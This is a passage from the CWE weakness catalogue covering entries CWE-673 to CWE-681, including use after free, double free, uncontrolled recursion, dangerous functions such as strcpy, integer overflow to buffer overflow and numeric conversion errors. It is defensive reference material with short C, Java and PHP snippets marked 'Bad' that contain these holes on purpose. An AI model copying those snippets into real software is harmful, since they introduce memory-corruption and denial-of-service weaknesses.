ParentOf		415	Double Free	1015
ParentOf		416	Use After Free	1019
ParentOf		613	Insufficient Session Expiration	1380

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf		415	Double Free	1015
ParentOf		416	Use After Free	1019

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf		415	Double Free	1015
ParentOf		416	Use After Free	1019

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Mobile (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Application Data Read Application Data <i>If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.</i>	
Other Availability	Other DoS: Crash, Exit, or Restart <i>When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.</i>	

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

Example Language: C

(Bad)

```
char* ptr = (char*)malloc (SIZE);
```

```

if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}

```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

Example Language: C

(Bad)

```

char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);

```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 3:

In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.

Example Language: C

(Bad)

```

#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32
int processMessage(char **message)
{
    int result = SUCCESS;
    int length = getMessageLength(message[0]);
    char *messageBody;
    if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {
        messageBody = (char*)malloc(length*sizeof(char));
        messageBody = &message[1][0];
        int success = processMessageBody(messageBody);
        if (success == ERROR) {
            result = ERROR;
            free(messageBody);
        }
    }
}

```

```

    }
    else {
        printf("Unable to process message; invalid message length");
        result = FAIL;
    }
    if (result == ERROR) {
        logError("Error processing message", messageBody);
    }
    return result;
}

```

However, the call to the method `logError` includes the `messageBody` after the memory for `messageBody` has been released using the `free` method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

Example Language: C

(Good)

```

...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];
int success = processMessageBody(messageBody);
if (success == ERROR) {
    result = ERROR;
    logError("Error processing message", messageBody);
    free(messageBody);
}
...












```

Observed Examples

Reference	Description
CVE-2009-3547	Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476) https://www.cve.org/CVERecord?id=CVE-2009-3547

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		808	2010 Top 25 - Weaknesses On the Cusp	800	2376
MemberOf		884	CWE Cross-section	884	2588
MemberOf		983	SFP Secondary Cluster: Faulty Resource Use	888	2431
MemberOf		1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf		1131	CISQ Quality Measures (2016) - Security	1128	2463
MemberOf		1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2479
MemberOf		1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf		1308	CISQ Quality Measures - Security	1305	2506
MemberOf		1340	CISQ Data Protection Measures	1340	2611
MemberOf		1415	Comprehensive Categorization: Resource Control	1400	2565

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP15		Faulty Resource Use
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory
OMG ASCSM	ASCSM-CWE-672		

References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-673: External Influence of Sphere Definition

Weakness ID : 673

Structure : Simple

Abstraction : Class

Description

The product does not prevent the definition of control spheres from external actors.



Extended Description

Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		664	Improper Control of a Resource Through its Lifetime	1463
ParentOf		426	Untrusted Search Path	1035

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2446

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control

sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

Example 2:



In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

Observed Examples

Reference	Description
CVE-2008-2613	setuid program allows compromise using path that finds and loads a malicious library. https://www.cve.org/CVERecord?id=CVE-2008-2613

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		991	SFP Secondary Cluster: Tainted Input to Environment	888	2437
MemberOf		1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

CWE-674: Uncontrolled Recursion

Weakness ID : 674

Structure : Simple

Abstraction : Class

Description

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		834	Excessive Iteration	1763

Nature	Type	ID	Name	Page
ParentOf	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1642

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1642

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Alternate Terms

Stack Exhaustion :

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) <i>Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.</i>	
Confidentiality	Read Application Data <i>In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's <code>memory_limit</code> setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Ensure an end condition will be reached under all logic conditions. The end condition may include testing against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

Effectiveness = Moderate

Phase: Implementation

Increase the stack size.

Effectiveness = Limited

Increasing the stack size might only be a temporary measure, since the stack typically is still not very large, and it might remain easy for attackers to cause an out-of-stack fault.

Demonstrative Examples

Example 1:

In this example a mistake exists in the code where the exit condition contained in flg is never called. This results in the function calling itself over and over again until the stack is exhausted.

Example Language: C

(Bad)

```
void do_something_recursive (int flg)
{
    ... // Do some real work here, but the value of flg is unmodified
    if (flg) { do_something_recursive (flg); } // flg is never modified so it is always TRUE - this call will continue until the stack explodes
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Note that the only difference between the Good and Bad examples is that the recursion flag will change value and cause the recursive call to return.

Example Language: C

(Good)

```
void do_something_recursive (int flg)
{
    ... // Do some real work here
    // Modify value of flg on done condition
    if (flg) { do_something_recursive (flg); } // returns when flg changes to 0
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Observed Examples




Reference	Description
CVE-2007-1285	Deeply nested arrays trigger stack exhaustion. https://www.cve.org/CVERecord?id=CVE-2007-1285
CVE-2007-3409	Self-referencing pointers create infinite loop and resultant stack exhaustion. https://www.cve.org/CVERecord?id=CVE-2007-3409
CVE-2016-10707	Javascript application accidentally changes input in a way that prevents a recursive call from detecting an exit condition. https://www.cve.org/CVERecord?id=CVE-2016-10707
CVE-2016-3627	An attempt to recover a corrupted XML file infinite recursion protection counter was not always incremented missing the exit condition. https://www.cve.org/CVERecord?id=CVE-2016-3627
CVE-2019-15118	USB-audio driver's descriptor code parsing allows unlimited recursion leading to stack exhaustion. https://www.cve.org/CVERecord?id=CVE-2019-15118

Affected Resources

- CPU

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2360
MemberOf		884	CWE Cross-section	884	2588
MemberOf		985	SFP Secondary Cluster: Unrestricted Consumption	888	2432

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2461
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
Software Fault Patterns	SFP13		Unrestricted Consumption
OMG ASCRM	ASCRM-CWE-674		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
230	Serialized Data with Nested Payloads
231	Oversized Serialized Data Payloads

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

CWE-675: Multiple Operations on Resource in Single-Operation Context

Weakness ID : 675

Structure : Simple

Abstraction : Class

Description

The product performs the same operation on a resource two or more times, when the operation should only be applied once.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	573	Improper Following of Specification by Caller	1307
ParentOf	V	174	Double Decoding of the Same Data	443
ParentOf	V	605	Multiple Binds to the Same Port	1364
ParentOf	B	764	Multiple Locks of a Critical Resource	1613
ParentOf	B	765	Multiple Unlocks of a Critical Resource	1614
ParentOf	B	1341	Multiple Releases of Same Resource or Handle	2258
PeerOf	V	102	Struts: Duplicate Validation Forms	252
PeerOf	B	586	Explicit Call to Finalize()	1329
PeerOf	V	85	Doubled Character XSS Manipulations	192

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

The following code shows a simple example of a double free vulnerability.

Example Language: C

(Bad)

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2:

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

Example Language: C

(Bad)

```
void bind_socket(void) {
    int server_sockfd;
    int server_len;
    struct sockaddr_in server_address;
    /*unlink the socket if already bound to avoid an error when bind() is called*/
    unlink("server_socket");
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_port = 21;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_len = sizeof(struct sockaddr_in);
    bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.





Observed Examples

Reference	Description
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice https://www.cve.org/CVERecord?id=CVE-2009-0935
CVE-2019-13351	file descriptor double close can cause the wrong file to be associated with a file descriptor. https://www.cve.org/CVERecord?id=CVE-2019-13351

Reference	Description
CVE-2004-1939	XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F) https://www.cve.org/CVERecord?id=CVE-2004-1939

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2368
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2398
MemberOf		984	SFP Secondary Cluster: Life Cycle	888	2432
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Notes

Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).

CWE-676: Use of Potentially Dangerous Function

Weakness ID : 676

Structure : Simple

Abstraction : Base


Description

The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1177	Use of Prohibited Code	1981
ParentOf		785	Use of Path Manipulation Function without Maximum-sized Buffer	1664

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1228	API / Function Errors	2503

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation Unexpected State <i>If the function is used incorrectly, then it could result in security problems.</i>	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary / Bytecode Quality Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Debugger Cost effective for partial coverage: Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags Source Code Quality Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Build and Compilation

Phase: Implementation

Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [REF-554] [REF-7]

Demonstrative Examples

Example 1:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

Example Language: C

(Bad)

```
void manipulate_string(char * string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```



However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Observed Examples

Reference	Description
CVE-2007-1470	Library has multiple buffer overflows using sprintf() and strcpy() https://www.cve.org/CVERecord?id=CVE-2007-1470
CVE-2009-3849	Buffer overflow using strcat() https://www.cve.org/CVERecord?id=CVE-2009-3849
CVE-2006-2114	Buffer overflow using strcpy() https://www.cve.org/CVERecord?id=CVE-2006-2114
CVE-2006-0963	Buffer overflow using strcpy() https://www.cve.org/CVERecord?id=CVE-2006-0963
CVE-2011-0712	Vulnerable use of strcpy() changed to use safer strncpy() https://www.cve.org/CVERecord?id=CVE-2011-0712
CVE-2008-5005	Buffer overflow using strcpy() https://www.cve.org/CVERecord?id=CVE-2008-5005

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2363
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2368

Nature	Type	ID	Name	V	Page
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2371
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	2392
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2395
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2398
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2479
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	2481
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2482
MemberOf	C	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2483
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Notes

Relationship

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Dangerous Functions
CERT C Secure Coding	CON33-C	CWE More Abstract	Avoid race conditions when using library functions
CERT C Secure Coding	ENV33-C	CWE More Abstract	Do not call system()
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	ERR34-C	CWE More Abstract	Detect errors when converting a string to a number
CERT C Secure Coding	FIO01-C		Be careful using functions that use file names for identification
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-554]Michael Howard. "Security Development Lifecycle (SDL) Banned Function Calls". < [https://learn.microsoft.com/en-us/previous-versions/bb288454\(v=msdn.10\)?redirectedfrom=MSDN](https://learn.microsoft.com/en-us/previous-versions/bb288454(v=msdn.10)?redirectedfrom=MSDN) >.2023-04-07.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-680: Integer Overflow to Buffer Overflow

Weakness ID : 680



Structure : Chain

Abstraction : Compound

Description

The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.


Chain Components

Nature	Type	ID	Name	Page
StartsWith		190	Integer Overflow or Wraparound	478
FollowedBy		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		190	Integer Overflow or Wraparound	478

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

Example Language: C

(Bad)

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```




This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Observed Examples

Reference	Description
CVE-2021-43537	Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122) https://www.cve.org/CVERecord?id=CVE-2021-43537
CVE-2017-1000121	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119). https://www.cve.org/CVERecord?id=CVE-2017-1000121

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2477
MemberOf		1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2479
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT30-C	Imprecise	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	INT32-C	Imprecise	Ensure that operations on signed integers do not result in overflow
CERT C Secure Coding	MEM35-C	CWE More Abstract	Allocate sufficient memory for an object

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
67	String Format Overflow in syslog()

CAPEC-ID Attack Pattern Name

92	Forced Integer Overflow
100	Overflow Buffers








CWE-681: Incorrect Conversion between Numeric Types**Weakness ID :** 681**Structure :** Simple**Abstraction :** Base**Description**

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.





Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		704	Incorrect Type Conversion or Cast	1547
ParentOf		192	Integer Coercion Error	489
ParentOf		194	Unexpected Sign Extension	498
ParentOf		195	Signed to Unsigned Conversion Error	501
ParentOf		196	Unsigned to Signed Conversion Error	505
ParentOf		197	Numeric Truncation Error	507
CanPrecede		682	Incorrect Calculation	1507





Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		704	Incorrect Type Conversion or Cast	1547

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf		194	Unexpected Sign Extension	498
ParentOf		195	Signed to Unsigned Conversion Error	501
ParentOf		196	Unsigned to Signed Conversion Error	505
ParentOf		197	Numeric Truncation Error	507

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf		194	Unexpected Sign Extension	498
ParentOf		195	Signed to Unsigned Conversion Error	501
ParentOf		196	Unsigned to Signed Conversion Error	505
ParentOf		197	Numeric Truncation Error	507

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		136	Type Errors	2331

Nature	Type	ID	Name	Page
MemberOf		189	Numeric Errors	2333

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Unexpected State Quality Degradation <i>The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.</i>	

Potential Mitigations

Phase: Implementation

Avoid making conversion between numeric types. Always check for the allowed ranges.

Demonstrative Examples

Example 1:

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

Example Language: Java

(Bad)

```
int i = (int) 33457.8f;
```

Example 2:

This code adds a float and an integer together, casting the result to an integer.

Example Language: PHP

(Bad)

```
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;
```

Normally, PHP will preserve the precision of this operation, making `$result = 4.8345`. After the cast to `int`, it is reasonable to expect PHP to follow rounding convention and set `$result = 5`. However, the explicit cast to `int` always rounds DOWN, so the final value of `$result` is 4. This behavior may have unintended consequences.

Example 3:

In this example the variable `amount` can hold a negative value when it is returned. Because the function is declared to return an unsigned `int`, `amount` will be implicitly converted to unsigned.

Example Language: C

(Bad)

```
unsigned int readdata () {
    int amount = 0;
    ...
    if (result == ERROR)
        amount = -1;
    ...
    return amount;
```

```
}

```

If the error condition in the code above is met, then the return value of `readdata()` will be 4,294,967,295 on a system that uses 32-bit integers.

Example 4:

In this example, depending on the return value of `accessmainframe()`, the variable `amount` can hold a negative value when it is returned. Because the function is declared to return an unsigned value, `amount` will be implicitly cast to an unsigned number.

Example Language: C

(Bad)

```
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```




If the return value of `accessmainframe()` is -1, then the return value of `readdata()` will be 4,294,967,295 on a system that uses 32-bit integers.

Observed Examples

Reference	Description
CVE-2022-2639	Chain: integer coercion error (CWE-192) prevents a return value from indicating an error, leading to out-of-bounds write (CWE-787) https://www.cve.org/CVERecord?id=CVE-2022-2639
